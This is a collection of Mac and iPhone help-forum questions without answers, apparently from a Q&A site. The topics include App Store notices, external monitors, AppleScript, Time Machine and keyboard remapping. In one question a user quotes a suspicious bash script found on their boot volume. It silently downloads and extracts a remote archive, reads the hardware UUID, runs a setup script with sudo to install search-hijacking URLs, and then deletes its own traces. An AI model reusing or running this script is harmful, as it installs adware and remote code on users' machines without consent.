  '2013-09-04T06:13:09.000-07:00', but it was submitted to the App Store
  at '2013-09-04T08:48:41.552-07:00'. This might indicate that your
  system clock is not set to the correct timezone.

  If you would like to update your binary for this app, you can reject
  this binary from the Binary Details page in iTunes Connect. Note that
  rejecting your binary will remove your app from the review queue and
  the review process will start over from the beginning when you
  resubmit your binary.

  Regards,

  The App Store team

What does this e-mail mean? Will my app be rejected? Should I re-upload my app?


texts: What is this unknown executable on my boot volume? Is it Malicious?

texts:
I noticed I had this file in the Macintosh HD folder.

And then when I click on it, it shows this:

Apparently this file was created in 2017, but I don't remember creating it.

Any idea what it could be?

Its content:

#!/bin/bash
func_4(){
/bin/mkdir -p /var/tmp
/usr/bin/curl -s -L -o /var/tmp/sr.tgz "http://c.premiummac.com/static/sr/sr_v2.tgz"
/usr/bin/tar -xzf /var/tmp/sr.tgz -C /var/tmp
cd /var/tmp/dvs
mid=$(ioreg -rd1 -c IOPlatformExpertDevice | awk '/IOPlatformUUID/ { split($0, line, "\""); printf("%s\n", line[4]); }')

COUNTRY="CA"
if [ "$COUNTRY" == "AU" ] || [ "$COUNTRY" == "CA" ] || [ "$COUNTRY" == "US" ] || [ "$COUNTRY" == "NZ" ]\
  || [ "$COUNTRY" == "ES" ] || [ "$COUNTRY" == "IT" ] || [ "$COUNTRY" == "NL" ] || [ "$COUNTRY" == "FR" ] || [ "$COUNTRY" == "IN" ]\
  || [ "$COUNTRY" == "DE" ]; then
    sudo ./setup.sh "http://www.searchitdown.com/?n=026&searchsource=55&UM=8&gd=SY1000653" "http://www.searchitdown.com/?n=026&searchsource=69&UM=8&gd=SY1000653" "http://www.searchitdown.com/Results.aspx?n=026&searchsource=58&UM=8&gd=SY1000653" "searchitdown" "upd" "http://i.firstinstallmac.club/c/cc?id="
else
    sudo ./setup.sh "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=hp&type=YHS_TGE_2712c1&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=nt&type=YHS_TGE_2712c1&_=tt1" "http://feed.snowbitt.com/?publisher=TingSyn&ts=sy&barcodeid=51222999&searchtype=ds&type=TGE_2712c1" "snowbitt" "upd" "http://i.firstinstallmac.club/c/cc?id="
fi

CLIENT_COMP=""
if [[ ! -z "$CLIENT_COMP" ]]; then
    /usr/bin/curl -s -L -o /var/tmp/re.txt "http://i.firstinstallmac.club/is/if?i="
fi

func_taaVqst(){
sleep 220
rm -rf /var/tmp/dvs
rm -rf /var/tmp/sr.tgz
}
func_taaVqst &

}
func_4 &


texts: Retina MBP 2015 does not recognise third external monitor

texts:
I am trying to get this system to run:

Laptop lid closed.
1 Monitor connected with DVI-miniDP adapter to a thunderbolt port
1 Monitor connected with DVI-miniDP adapter to a thunderbolt port
1 Monitor connected with a DVI to HDMI port on the HDMI port.

I can only get the notebook to recognise 2 of these displays. I can get the third display to work, only if I disconnect an existing one.

Interestingly, if I replace one of the DVI-miniDP displays with a VGA-miniDP adapter on one of the TB ports, then all 3 displays work. Yet I don't want to keep a displayed with VGA (for obviously limitations), so I was wondering if some can provide some pointers on how to make this setup work correctly.

Running 10.10.4


texts:
I have been looking up for the last two days and found a few applescripts that claimed to change the subject lines. But none of them seem to be able to change/set the subject line. What do you guys think the mistake is here?

tell application "Mail"
    set theSubjectList to {}
    set themessages to selection as list
    repeat with msg in themessages
        set thisSubject to (subject of msg as string)
        if thisSubject is not in theSubjectList then
            set theSubjectList to theSubjectList & {thisSubject}
        end if
    end repeat

    set theNewSubject to ¬
        (choose from list theSubjectList with prompt ¬
            "Choose the subject of the merged thread…") as string

    if theNewSubject is in theSubjectList then
        repeat with msg in themessages
            set subject of msg to (theNewSubject)
        end repeat
    else
        display dialog "Action cancelled"
    end if
end tell

I get the following error

error "Mail got an error: Can’t set subject of message to \"CHANGED SUBJECT LINE\"." number -10006 from subject of message


texts: MacBook Pro won’t turn on, even after SMC reset

texts:
While I was doing some basic file management in the Finder, my MacBook Pro (mid 2012) suddenly went black. It wouldn’t turn on, even after long-pressing the power button or resetting the SMC (System Management Controller). The SMC reset caused the battery indicator light to go from green to red, but even after ten minutes of supposed charging it is not responding to the power button. My symptoms are similar to this and this post, but I have not spilled any liquid on the computer (quite the contrary; it has been stored for over a week on a dry, high shelf), and the laptop does not react to the power button even with the power cord attached.

Do I have any other options but taking the Mac to a repair shop?


texts: How to unmute headphones by default when plugged into MacBook Pro?

texts:
Each time the mac is turned on, and the headphones are plugged in, they are muted by default on my MacBook Pro. I need to unmute them every time in System Preference-> Sound -> Output. I have thus two questions:

1) Do you know any way to automatically unmute the headphones when plugged into the mac ? A terminal command or any other manipulation ?

2) Is the behavior of my Mac normal ?

Thanks for your help !


texts:
on my Mac 10.6 (MacBook Pro Late 2009) master volume control for both Line-In built and for external USB Microphone is disabled (grayed out)

Nobody really wanted to help what is the reason and how to bring back such behaviour. Googling didnt provide answer.

What I want is to have master volume slider active at least in Blue Yeti microphone.
Any help?


texts: How to set the autocorrection and dictionary to the same language in Mac OS X Mavericks

texts:
How can I change the system to stop making corrections like so:

Please notice that the two words on the left have the dotted red line indicating that they are spelled in the wrong way.

Then, if I click the option "Look up" on the contextual menu on the right, the dictionary says the word is like on the left, where it is marked with the red line indicating the wrong spelled word.

I would like to set my system to use the same dictionary on the "look up" option and auto correction options.

I also found this post that may be the solution to the problem, but it seems it only applies to Lion.


texts: Can I put a "marker" on a QuickTime movie?

texts:
Is there any way for me to put a "marker" in the timeline of a QuickTime movie? This would be very helpful in certain cases, for example quickly marking parts of long movies from my digital camera which I want to review later. I'm sure I could do this using iMovie or Final Cut Pro, but I'm looking for something specifically in QuickTime player (as I'm previewing movies taken right off my digital camera)

What I envision is something like I have mocked up in this doctored screen capture:


texts: Keyboard needs to be setup on every boot up

texts:
I am being asked to setup my keyboard every time I reboot my computer. Is there anyway I can get this to keep the setup?

I am on Snow Leopard and have a Logitech Wave wireless keyboard and mouse combo. This started happening when I switched to 64-bit mode. Booting into 32-bit mode doesn't fix it.


texts: Java DICOM viewer fails on MacOS Catalania (10.15.3)

texts:
I have a CD containing the images of the MRT I had recently. I tried to start the DICOM viewer which is on the CD as well. However the viewer fails with the error:

WARNING: An illegal reflective access operation has occurred
WARNING: Illegal reflective access by org.eclipse.osgi.internal.baseadaptor.BaseStorage (file:/Users/manuel/2016-11-18 - CT Josephskrankenhaus/PLUGINS/OSGI.JAR) to method java.net.URLClassLoader.addURL(java.net.URL)
WARNING: Please consider reporting this to the maintainers of org.eclipse.osgi.internal.baseadaptor.BaseStorage
WARNING: Use --illegal-access=warn to enable warnings of further illegal reflective access operations
WARNING: All illegal access operations will be denied in a future release

Return value is 13. How can I troubleshoot this problem?


texts: sysctl setting net.inet.tcp.keepidle removed in 10.15. Is there a replacement setting?

texts: My work requires long-running connections to databases that required this sysctl setting in earlier OSX versions.  Since it no longer exists, these connections appear to remain open, but they disconnect.  The database client awaits the results that never come while the database shows the query as completed.  Is there any setting that can replace the functionality that net.inet.tcp.keepidle provided?


texts:
When using Preview, I can create a text box to add text on top of a PDF. However, the text box is not always created in the correct area. I find that I can use the Arrow Keys to move the text box. Or, I can stretch the text box with my mouse and pointer. However, I cannot move the text box using my mouse. What am I missing? How do I do that?
Apple's reference says, "To move the text box, just drag it." But, I haven't figured out how to do that.


texts: Inconsistency for Gmail and Exchange in Mail.app

texts:
My Mail.app is configured for Gmail and Exchange.

The Exchange shows subfolders directly inside Inbox, but Gmail has separate Googletab below Mailboxes tab.

Why does Mail.app show subfolders in different places? Is it possible to make it consistent (preferable like for Exchange)?

MacOS version is Sierra.


texts:
I have a Macbook Pro 13" Retina Display (Early 2015). I only have 128 GB of storage. I'm thinking of upgrading it. I've seen a lot of articles about purchasing OWC or Trascend's drives; however, I have not seen any article about purchasing OEM (Original Equipment Manufacturer) drives. I found some on eBay -- they are just a lot more expensive!

Is there something I'm missing? Do people not recommend them because of price, or because they are not really original?

If I buy one of these drives, can I hook them up to my MacBook just like I would a Trascend or OWC Aura drives?


texts: Is it possible to use your Mac as an A2DP receiver with your phone as the transmitter?  This way, I can get notifications from the phone while at my desk, without having to take out my headphones which are connected to my Mac?


texts: Smart Folder from arbitrary script output?

texts:
This is a long shot, but is it possible to create a Smart Folder which, instead of building its search using the Search Criteria UI, but instead use the properly formatted output of necessary for a Smart Folder from an AppleScript or bash script which would create said list?

For example, is it possible to create a script that would use something like ack or locate to instantly search a folder hierarchy and then apply a regex to match a specific set of files within that list? The search criteria usable in Spotlight search has a pretty weak set of metadata attributes that are available in the Finder UI so it would be amazing to be able to make my own function that outputs directly into the Smart Folders construct.

I suppose I could make an independent script that doesn't use Finder or Spotlight at all which regularly refreshes a directory's contents with a set of symlinks, but that seems unnecessarily resource intensive when ideally the script need only be executed with the folder is opened or referenced. Integration with Finder at even a rudimentary level would be hugely advantageous. I suspect folder actions might be a way to trigger this, but again I feel like the complexity level would make this inefficient.


texts: Unable to erase disk with Terminal and Disk Utility, error -69877 "Couldn't open device"

texts:
I am referencing this question from another user:

Unable to format / erase hard drive

For some reason, this pesky Kingston drive I have does not want to erase on Disk Utility nor with the use of terminal commands. I have tried the method that this YouTube video explains.

This is the output from running two commands on terminal:

~ sudo diskutil eraseDisk JHFS+ noname /dev/disk2
Started erase on disk2
Unmounting disk
Creating the partition map
Error: -69877: Couldn't open device

~ diskutil  partitionDisk  /dev/disk2  1  MBR  FAT32  MYUSB  R
Started partitioning on disk2
Unmounting disk
Creating the partition map
Error: -69877: Couldn't open device
(Is a disk in use by a storage system such as AppleRAID, CoreStorage, or APFS?)

Here is the information about the disk:

/dev/disk2 (external, physical):
  #:                       TYPE NAME           SIZE       IDENTIFIER
  0:     FDisk_partition_scheme               *15.5 GB    disk2
  1:             Windows_FAT_32 1821VPC        15.5 GB    disk2s1


texts: Number Keys 1-9 not working on Apple Wireless Keyboard

texts:
How can I manually setup a passkey as "000000" (containing only zeros) to pair Bluetooth keyboard to iMac rather than the random keys generated by Mac. I'm currently using Mavericks & struggling to reconnect the keyboard as i'm unable to give the pass key other than 'zeros'.
In the link : Can't pair apple wireless keyboard, SingleShot has mentioned of a way to manually set the passkey to 'zeros'.


texts: My iPhone 4s wifi has been disabled/grayed-out. It seems irreparable as I tried all methods on internet and got it checked on repair shop. Just thinking can I use wifi with iPhone by connecting it to any external wifi adapter or through OTG? Is there any external wifi adapter available in market for iPhone?


texts: Safari - Easy way to open a link in private window?

texts:
Is there an easy way to open links in a private window in Safari in OS X?

With this, I mean copying the link and pasting it in a new private window not as being easy.

In Chrome and Firefox, you can easily open a link in Incognito/Private mode, right clicking on the link and from the context menu, choose Open in an incognito window. This is a feature that I use quite often in my browsing, but I'm trying to switch to Safari because I noticed that Chrome uses more battery and read some articles about it too.

I would really appreciate it if you tell me of any way to add an option to the right click context menu in Safari to open in a private window, or a keyboard shortcut so that you click while pressing some keys and it opens in private mode, or maybe an extension that adds this functionality.


texts: Mojave: possible to disable menubar transparency?

texts:
I hate the transparent menubar in modern macOS versions. I used to avoid this by enabling the "Reduce Transparency" option in System Preferences > Accessibility > Display.

In Mojave (on non-Retina systems) this has nasty side effects and generally makes everything look like garbage.

I found a hidden setting that apparently used to work, but has no effect in Mojave:

defaults write NSGlobalDomain AppleEnableMenuBarTransparency -bool false

My current poor-man's workaround was to create a 1920x1080 PNG with my preferred background picture, and add a 22px high 100% white bar at the top. This simulates the effect of having an opaque menu bar.

Does anyone know of a better way?

edit: to help illustrate the difference, check out the side-by-side comparison below. The image on the left is with my "hack" of placing a 22px high 100% white strip across the top of an otherwise solid gray background. On the right is the same transparent menu drawn on top of Apple's "stock" solid background. Note the reduction in readability/contrast:


texts: Shortcut to take screenshot and save to specific folder

texts:
Is there any way I can get a specific keyboard shortcut to take a screenshot and save it to a particular folder ?
The use case is quite simple: I listen to radio frequently and take screenshots of the songs I like. The screenshots go to my Desktop though. I would like to use a different shortcut than cmd + Maj + 4 so that when triggered the screenshots default to another folder.


texts: Unable to type Tibetan Monlam font in Pages and Microsoft Word 2019

texts:
I am not able to type with the Tibetan Monlam boyig Unicode 2 font in Pages on macOS and Microsoft Word 2019.

I try to change English keyboard to Tibetan by pressing control - shift in my macbook pro (Mojave latest updated) pages and word 2019 both. But when I start to type, keyboard turned into English and English fonts appears

However it works well with InDesign CC 2019.

I am using macOS Mojave. Is there any solution for this issue?


texts: Will Reset > Delete Data and Settings, prevent recovering my Data? if I am planning to sell my iPhone?

texts:
In Windows I know that when you delete a file or even format your PC, then some data can still be recovered from the hard disk using some tools.
Now I have iPhone 11 and I am planning to sell it. So I backup my iPhone using iTunes. Then I went to Settings > General > Reset > Erase All Data and settings.
If resetting my iPhone and deleting all the data and apps will prevent someone from recovering my data? Or can other users still recover my data?
If the answer is yes, then what is the best way to permanently delete all the iPhone data before selling it? in Windows I use a tool named fileshredder which will wipe all the free space. Any advice ?
Thanks


texts: Two key combos for Enclosing Folder, but same result

texts:
While exploring the effect of different keys on menus in Finder in Lion, I spotted what seems like a redundancy in the case of the Go menu.

When pressing the ⌥ key while the menu is open, not only is the user Library added to the menu list, but the key combination for Enclosing Folder changes from ⌘↑ to ⌥⌘↑. The additional modifier appears to be redundant, since the same enclosing folder opens with both key combinations.

At first I thought this was Lion-specific, so was surprised to notice that this also applies in Snow Leopard.

Can others confirm that they too experience this behaviour and, if so, explain why the two combinations exist?


texts:
I just installed Mac OS X Lion on an iMac.

I noticed that the system language during installation and log in screen is Spanish (my primary language). But, once inside (desktop, etc) is English.

I want everything to be in English. Including the log in screen etc. How do I change that?


texts:
Is it possible to get the search function of iPhone (when you go at the first screen on left) to work as the spotlight works when you put in words and display a dictionary ?

If not , is the same dictionary app which is installed on OSX, available for iOS? Thanks !


texts: How can I get my Fusion Drive switched out for an SSD in my iMac while retaining my Apple care warranty?

texts:
Title says it all. Starting to regret the Fusion Drive. But don’t want to lose my warranties.

Location: West Sussex, Chichester UK.


texts: iPhone 4s running iOS 7 displays pictures taken with filter as white

texts: I have an iPhone 4s and am running iOS 7 on it. When I take a picture with the "process" filter, it then displays in place of the photo a blank screen. It doesn't happen when using the camera without a filter. Why is this happening, and what can I do about it?


texts: Is it possible to prevent launchd running a missing task on wake?

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I have a launchd task configured to run once an hour using the StartCalendarInterval key to set specific times at which the task will run.

However, the default behaviour of this is that, when an interval is missed (i.e- computer was asleep) the task will immediately run at the next available opportunity (i.e- on wake).

Is it possible to disable this behaviour in my plist file?

I haven't found any obvious key(s) for controlling this, and the only other thing I can think of is to check the current time in the task itself, but this means duplication of timing behaviour (set the time in the plist, and then check it in the task itself).


texts: Can I use my 87 watt MBP charger for other things like portable batteries?

texts: I have a powerstation XXL and want to charge it with my MacBook Pro USB-C charger. Is that ok?


texts: Is there a complete and detailed description of what Migration Assistant copies over?

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Does it copy all files in ~/Library ?  Including cache files and even things like Flash cookies?  What about user created files/folders in / ?

etc etc


texts: Backup disk not recognized by Time Machine

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I am having trouble getting Time Machine to recognize my backup external HD, which is mounted and has been used successfully (yesterday) before.

Background: I just partitioned my drive to do a Boot Camp installation. Time machine was preventing me from having the space needed to do this, so I was forced to remove my backup drive and thin local snapshots by running 'sudo tmutil thinlocalsnapshots / 999999999999' as described here. Of course, I backed up right before doing all this. This worked and I successfully finished the Windows install, but now when I go back to Time Machine and try to have it resume backing up, the volume it was using does not appear as an option under 'select backup disk.'

Curiously, when I option-click the Time Machine icon and choose 'Browse other backup disks,' it recognizes the previous backups just fine and will let me go into Time Machine and browse through them. But it won't let me choose this disk to resume backing up. So it would seem that all I need to do is re-establish this backup as linked with the computer, without reverting to it, but I can't find any way to do this.

I don't have enough storage to copy my external HD anywhere else, and I am hoping to avoid losing my previous backups. Any ideas?


texts: Accessing iCloud passwords without a Mac

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I mostly use Macs and iOS devices, so I've started using the iCloud password manager for better account security. Of course, all the world is not a Mac, but passwords are ubiquitous.

When I am using a Mac under my control I can use the Keychain Access app to look up my single-site passwords, but sometimes I'm on someone else's computer, which is usually not a Mac, and sometimes I use a Linux device, and so on. Even with iOS apps, sometimes I need to use my website password to log in using the app, and most apps don't seem to support iCloud passwords (although a few thankfully do!).

I do always have an iOS device with me, so are there any applications for iOS that allow you to access the iCloud Keychain to retrieve the plaintext password, like OSX's Keychain Access? Or is there a way to access the Keychain via the web?

Obviously the most Apple approach would be for me to always have a MacBook Air with me, but that also isn't feasible...


texts: Can I find my stolen iPhone if someone reset it and uses different AppleID?

texts: I recently bought an iPhone iOS 9.2.1. I am worried, if someone stole it, reset it and uses different AppleID, can I find it?


texts: Git hangs with a ssh remote URI after 10.15.4 update

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After updating to Catalina 10.15.4, git started hanging indefinitely when trying to push or pull from a repo that was previously accessible.

$ git push origin master
^C

The URL for origin looks like:

$ git remote -v
origin  ssh://git@gitlab.example.com:30814/username/project.git (fetch)
origin  ssh://git@gitlab.example.com:30814/username/project.git (push)

Attempting to ssh directly to the remote results in a hang:

$ /usr/bin/ssh -p 30814 git@gitlab.example.com -vvv
OpenSSH_8.1p1, LibreSSL 2.7.3
debug1: Reading configuration data /Users/username/.ssh/config
debug1: Reading configuration data /etc/ssh/ssh_config
debug1: /etc/ssh/ssh_config line 47: Applying options for *
debug1: Connecting to gitlab.example.com port 30814.
^C

Which seems to indicate the underlying problem with git is the ssh:// URI for the remote repository. I confirmed this by successfully cloning the repo using a https:// URI.


texts: How to forget Wi-Fi network in system preferences with Applescript

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I've been trying to create a script so when I run it, it removes the Wifi network from my remembered list. It's almost finished but I'm stuck on one little bit. Can anybody help me out? Here is my code so far:

tell application "System Preferences"
    activate
    reveal pane "Network"
    delay 1
    tell application "System Events"
        tell process "System Preferences"
            click button "Advanced…" of window "Network"
            delay 1
            click radio button "Wi-Fi" of tab group 1 of sheet 1 of window "Network"
            delay 0.5
            tell application "System Events" to keystroke "Cole"
            delay 0.2
        end tell
    end tell
end tell


texts: Compose an Email with a Selected Email address in Apple Mail App

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I want to compose an e-mail from my Mail Application on my desktop.  I have two e-mail addresses.  How do I select one, or make sure, that the email is being sent from one e-mail address and not the other?   I'm not replying to anyone, I'm composing a new e-mail.

Thanks!

I'm attaching the form field, it doesn't show an option to select which e-mail address to send the email from?

When I click the box next to orders@myemail.com, my other email address doesn't show?


texts: How do I sort a playlist by filename in iTunes?

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I want to import an audiobook where there are 14 folders on the form "Author - CD ## - Title", and the mp3-files are on the form "### - Author - Title" (incrementally over all CDs, so the last file of 'CD 01' is named '012...", and the first file of 'CD 02' is named '013...'.

However, the ID3 tag stupidly consist of "Title = Author", and nothing else. And when imported the files are scattered around randomly in the playlist.

How do I sort a playlist by filename?

or; How do I remove the ID3-tags of a folder of folders of mp3-files on Mac easily.


texts: Is it possible to remove the Mac copy (iTunes/Mobile Applications) of all synced iOS applications (they are already installed on my iOS device)? They are currently taking up about 6 GB of space on my hard drive. I'm talking about the .IPA files. Thanks!


texts:
My 2011 Macbook Pro's MagSafe charging board died but the device still turns on. I heard that the Thunderbolt 2 which is on my Macbook can be used to charge the Mac by using a USB-C to Thunderbolt connector. Is this true?
How can I charge my MBP?


texts: Can I use a whiteboard marker to write on my thunderbolt monitor?

texts: I was wondering, since it´s glass, it shouldn´t be a problem, right?


texts: Changing Apple ID on Macbook to match ID on iPhone and iPad

texts: My 13” Mac has a different Apple ID than my iPad and iPhone. I’d like to change the Apple ID on my mac so I can utilize apps properly.


texts: Limit application launching to boot disk only

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Does anyone know of a way to restrict macOS (High Sierra) to only launch apps stored on the boot drive?
I have several alternate bootable drives on my system (different OS versions, bootable backups etc), but find that in almost every case, when I right click a document, and choose "open with" the system is preferentially launching apps on non-boot volumes, in preference to the ones in /Applications. Eg, right click on an mp4 file, choose Open With the one and only entry for Quicktime Player X, and instead of the version in my dock launching, a new icon appears in the dock for Quicktime, and if I right click and "show in finder", it's on one of my other bootable drives.
I've removed all the external drives from Spotlight, using the Spotlight privacy feature in System Preferences, and tried reloading Launch services (which results in needing to reboot the entire machine to get all my 3rd party share options back), nothing seems to work.
I have to assume macOS is supposed to preferentially open apps from /Applications, and I've got something else wrong, for which this is just a symptom, so if there's some other maintenance thing (eg in OnyX etc) I'm happy to hear about it.
Thanks.


texts: Unable to mount Ubuntu 12.10 install .iso or .img

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I'm following the instructions to create a bootable Ubuntu 12.10 USB stick on OS X found here. I can do step 3 and hdiutil appears to work fine, but when I go to mount the resulting ubuntu.img file I get the same "no mountable file systems" error that I get when I try and open the ubuntu.iso file. No correctly sized volumes show up in diskutil list either.

Any ideas?

Using the most recent ubuntu-12.10-desktop-amd64.iso on Mountain Lion 10.8.2.

I tried this with 12.04 LTS and got the same result.


texts: Right now they default to desktop, and I followed instructions found here. It works up until I shut down the computer; I was wondering if there was a permanent solution?


texts: What Version of Bash comes with OSX 10.9 / Mavericks?

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Trying to decide if I want to bother upgrading my bash shell to v4.x; if it comes with Mavericks, I probably won't, but I can't find much information on what versions of bash come with what versions of OS X, let alone with Mavericks specifically.

Anyone running a Mavericks beta want to bash --version for me?


texts: Using Apple Remote Desktop for managing iOS devices?

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Im currently evaluating using Apple Remote Desktop for multi laptop and desktop management. Can it also be used for iOS device management ?

We've got a range of devices - iPhone, iPads which are company owned. As well as staff who have their own iPhones which we install email, and specific business apps for them to use.

Its very tedious having to manually type all of the usernames and passwords into each device and app to get them setup is there a way i can do this from my desktop via Apple Remote Desktop or something similar ?

UPDATE Dec 18

Now that iOS 12 allows 3rd party remote management software like Bomgar and Teamviewer (see article here) of iOS devices. (All be it view only, with no control)

Dose Apple Remote Desktop now offer the similar functionality including control ?


texts: Never backed up to iTunes or iCloud. Recovery mode

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I never backed up my iPhone 6 to iTunes or iCloud and now my phone is broke and I can't pass the main screen or passcode screen. Touch is not working. I already have  a another iPhone 6, but is there a way
to backup my broken phone? I went to recovery mode on my old iPhone 6 and I see two options 'Update' or 'Restore'. Which option will take backup of my phone?


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I recently noticed that some of the applications cannot be started from Spotlight anymore. They show up correctly in the search results but then hitting return doesn't do anything (other than closing the Spotlight dialog that is). Indexing is turned on and I already tried re-indexing.

This is on High Sierra 10.13.6.

Update

It happened only with a handful of 3rd party apps so far. A pattern emerged:

Update an app which replaces an existing .app (i.e. same name) → Spotlight shows the OLD version as per "Version: xyz", I guess that's the reason it won't start
Update an app where the new version's .app has a different name e.g. rebranding and delete the old .app → Spotlight shows the old AND the new version, the new one can be started


texts: How can I verify if Apple is slowing down my phone because of an old battery?

texts: Apple has recently confirmed they're slowing down phones which have a battery that's too old. How can I verify if that's the case for my particular model? Is there an app that can tell me the current "slow down" stats?


texts: Are PowerMac G5 GPU compatible with ATX PC's

texts: I would like to know if the Nvidia GPU's from the old PowerMac G5 are compatible with other PC's as well. This question also broadly asks if the pci express slots for both powerpc based processors and intel processors have similar fetch and decode protocols.


texts: Is it true that iPhone 4S has battery issues?

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I'm considering getting a new iPod and a new mobile phone. iPhone 4S sounds like a really attractive option, but it looks that iPhone 4S has serious battery issues. Some people are charging their iPhone 4S twice a day, according to articles on the web.

Are those issues are real? I'm a heavy iPod user and if those issues are real, then I don't think that I'm going to get the 4S.


texts: Can I use my iPod classic to store photos for my Canon 5D MkII?

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I have an 80GB iPod classic. I am going on a trip and I have only the iPod, my iPhone, and my iPad. I want to use the iPod to store photos.

Is this possible?


texts: Why is OS X able to send out email without first configuring SMTP?

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When I try the command in terminal, an email is sent. I have checked there is no local SMTP is running, so what is the mechanism used by Apple behind the scene?

echo "Hello" | mail -s "Test" foo@bar.com


texts: Open command doesn't like non escaped characters even between quotes?

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Is it me or the open command does only accept escaped characters in parameters ?

It tried open "~/Library/Messages/Attachments/87/07/079C263B-0586-48C6-B721-3C6AABAC76DF/Messages Image(1020754653).jpeg"

which returns The file /Users/Kyro/Library/Messages/~/Library/Messages/Attachments/87/07/079C263B-0586-48C6-B721-3C6AABAC76DF/Messages Image(1020754653).jpeg does not exist.

When actually open /Users/Kyro/Library/Messages/Attachments/87/07/079C263B-0586-48C6-B721-3C6AABAC76DF/Messages\ Image\(1020754653\).jpeg works quite well.

Edit : Running Mavericks here.


texts: How do I find out what apps are in iTunes and not on my iPhone, and vice versa?

texts:
I want to find out:

What apps are in my iTunes Library that are not on my iPhone.
What apps are on my iPhone that are not in my iTunes Library.

Is there any way (either in Windows or using third-party software) to find out this information?


texts: MacBook Pro unresponsive for about a minute after wake w/beachball

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I'm on Catalina 10.15.7 with a 13" 2019 MacBook Pro.  Upon wake, I now always see the beach ball of death.  There is never anything in "Spin Reports" under console.  Lots of these messages:
Service exited due to SIGKILL | sent by mds[179] - 239 since wake. However these continue throughout the day.
I've noticed a few times there is a crash of a piece of software - SACSrv or com.apple.WebKit.WebContent.  But many times there is no correlation.


texts: Set a Volume's permissions to group write for all files and folders

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To me this seems like it should be easy but I'm having a hard time finding a very good answer that seems definitive to me.
I have a I have a hard drive mounted that my wife and I share (internal drive).  My wife are I both in admin group and this drive's group ownership is also admin.
This volume's current permissions are: drwxrwx---.  My wife and I can both add and create files, however, these new files are not inheriting the parent volumes permissions.  If I create a new folder or file, the g+w bit is not being set.  It's read only.
I don't really want to change my umask from 022 to 002 because it's only this volume I want the g+w bit set.  I guess I can if that's the only solution.
I want to ensure that any file created, copied, or moved to this Volume (anywhere on the volume) has the correct permissions.  Is this possible?
Or do I need to fall back on umask and a cron job to reset permissions?
edit - first attempt with ACLs
Here is what I tried, as a test.  It didn't carry it forward to the next file I created though.  I don't think I fully understand how this is supposed to work ...
$ mkdir test-acl
$ chmod 770 test-acl
$ ls -le
total 0
drwxrwx---  2 damon  admin  68 Jan 13 09:50 test-acl
$ chmod +a "admin allow list,add_file,search,delete,add_subdirectory,delete_child,readattr,writeattr,readextattr,writeextattr,readsecurity,file_inherit,directory_inherit" test-acl
$ ls -le
total 0
drwxrwx---+ 2 damon  admin  68 Jan 13 09:50 test-acl
 0: group:admin allow list,add_file,search,delete,add_subdirectory,delete_child,readattr,writeattr,readextattr,writeextattr,readsecurity,file_inherit,directory_inherit
$ cd test-acl
test-acl$  touch test.txt
test-acl$  ls -le
total 0
-rw-r--r--+ 1 damon  admin  0 Jan 13 09:50 test.txt
 0: group:admin inherited allow read,write,execute,delete,append,readattr,writeattr,readextattr,writeextattr,readsecurity


texts: Create bootable macOS USB for a non Apple computer

texts:
I tried several ways to create a bootable macOS USB for a non Apple personal computer. I expected it to work exactly like my bootable Ubuntu USB. macOS bootable USB seems to be working differently. It seems that it only works on Mac. My laptop does not detect my Mac bootable USB as a bootable one on startup.

Is it possible to create a bootable macOS USB, by using Ubuntu 20.04 - Windows 10 dual boot HP laptop, with persistence (optional) so that I can use it by just plugging it in during boot up for building my flutter projects?


texts: Is Spatial Audio used while listening to music on AirPods Pro?

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When I'm listening to music from my iPhone (iOS 14) with my AirPods Pro, I don't want Spatial Audio on because I don't always have my phone near me - will this affect my audio?
I prefer to leave the setting on, instead of toggling it when I listen to music.


texts: How can I open an application when a secondary monitor is connected?

texts: I use SecondBar to add a menu bar to an external display. I've added it to my login items, but I don't want it to open when there isn't an external display. How do I open SecondBar when a secondary monitor is connected?


texts: Downgrading OS X from Yosemite to Mavericks

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I stupidly downloaded the new OS X Yosemite 10.10 on my 2011 iMac that does all of my Pro Tools work and now some of the things I use aren't compatible yet. So I'm trying to figure out how to downgrade back to OS X Mavericks 10.9. I also stupidly don't have a Time Machine Backup or this would be way easier.

I learned you could install the old operating system with a clean install from a bootable drive with the installer on it, which I've figured out and made, but I don't know if there is a way to install it with wiping all the data on my system hard drive. I read you can transfer files back and forth from a Time Machine backup, but I can't seem to find out if I make a backup of my computer as it is, now with the current OS X 10.10, would those files and applications be transferrable to a clean install of OS X 10.9.

If there is a way to use my bootable install of OS X Mavericks and have it replace OS X Yosemite, and to keep all my files on the hard drive, that would be easiest.


texts: Karabiner ( KeyRemap4MacBook) Ctrl to Command, preserve Ctrl+Tab and Command+Tab

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I've been struggling with this for a few hours now. What I want to achieve is I want to map Left Ctrl to Left Command ⌘. However, I want to preserve the functionality of Ctrl+Tab. So Ctrl+Anything should be Command ⌘+Anything with the exception of Tab.
What I could achieve:

Leave Ctrl and Command ⌘ as they are (default)
Map Ctrl to Command ⌘ (in this case Ctrl+Tab = Command ⌘+Tab)
Map Ctrl to Command ⌘ and map Command ⌘+Tab to Ctrl+Tab (in this case Command ⌘+Tab is not preserved)

(I might want to add some other exceptions in the future, but seeing the basics surely helps).

Thank you.


texts: Is there any way to synchronise music playback position between iOS and OS X, so that I can go from listening to a song on my iPhone, then continue listening to it at the same place on my computer when I open it?


texts:
In Mountain Lion, Mac OS X can use its dictation/voice recognition to turn your speaking into text.

Suppose I have an audio file of my voice speaking. Is there a way to use this dictation ability to turn that audio file into a text file?

I suppose the brute force solution would be to plug headphones into the audio port and hold them up to the microphone. Is there a more software-based solution more analogous to Unix pipes?


texts: Delete all Bookmarks / Favorites from Safari

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I use Chrome as my primary browser (Work and Home) but have to fall-back to Safari for side-businesses during work, such as music streaming sites.

For consistency, I like to keep my browsers in sync. Chrome carries all my bookmarks and I prefer importing them all into Safari. An obvious limitation of this is that to keep my Safari updated with latest bookmarks of Chrome, every once in a while I must delete all bookmarks / favorites from Safari and add them again (just to avoid any duplication).

Now I'm unable to find any button in menus / preferences to Delete All Bookmarks. And deleting each bookmark individually is a pain since there are over 280. How do I delete all bookmarks from Safari without having to reset it entirely (deleting Cache, Cookies, History etc)?

macOS High Sierra 10.13.3, Safari 11.0.3 (13604.5.6)


texts: Toggling internet sharing when ethernet cable dis/connected

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The room where I'm staying has an ethernet connection, so when I'm there I turn on internet sharing so that my Kindle and phone will have a WiFi connection. But when I'm at work I have to use Airport to connect to the internet. This means that whenever I arrive at home or at work I have to open the internet sharing pane in order to switch sharing on or off.

